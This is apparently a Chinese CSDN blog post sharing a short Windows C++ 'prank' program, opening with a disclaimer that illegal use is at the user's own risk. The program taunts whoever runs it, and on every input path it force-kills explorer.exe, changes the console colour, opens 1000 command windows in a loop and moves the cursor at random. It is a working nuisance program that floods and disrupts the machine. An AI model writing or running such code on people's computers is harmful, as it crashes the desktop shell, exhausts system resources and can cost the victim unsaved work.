声明:本程序可用于研究C++可操控的系统功能,如用于非法用途,后果自负!
#include<bits/stdc++.h>
#include <windows.h>
using namespace std;
int main() {
cout << "赛博大舞台 敢按你就来\n输入F或者f塞入灯泡\n";
string n;
cin >> n;
if (n == "F" || n == "f") {
cout << "你敢来吗?敢就再输一次F或者f\n";
}
else {
for (int i = 1; i <= 100; i++) {
cout << "没胆量\n";
}
system("taskkill -f -im explorer.exe");
system("color F5");
for (int i = 1; i <= 1000; i++) {
system("start cmd");
}
for (int i = 1; i <= 500; i++) {
SetCursorPos(rand() % 1000, rand() % 1000);
}
}
string b;
cin >> b;
if (n == "f" || n == "F") {
for (int i = 1; i <= 100; i++) {
cout << "敢尝试,有胆量\n";
}
system("taskkill -f -im explorer.exe");
system("color F5");
for (int i = 1; i <= 1000; i++) {
system("start cmd");
}
for (int i = 1; i <= 500; i++) {
SetCursorPos(rand() % 1000, rand() % 1000);
}
}
else {
for (int i = 1; i <= 1000; i++) {
cout << "没胆量\n";
}
system("taskkill -f -im explorer.exe");
system("color F5");
for (int i = 1; i <= 1000; i++) {
system("start cmd");
}
for (int i = 1; i <= 500; i++) {
SetCursorPos(rand() % 1000, rand() % 1000);
}
}
return 0;
}
标签:后果自负,cout,int,赛博,3.0,include,bug
From: https://blog.csdn.net/2301_76217337/article/details/140377042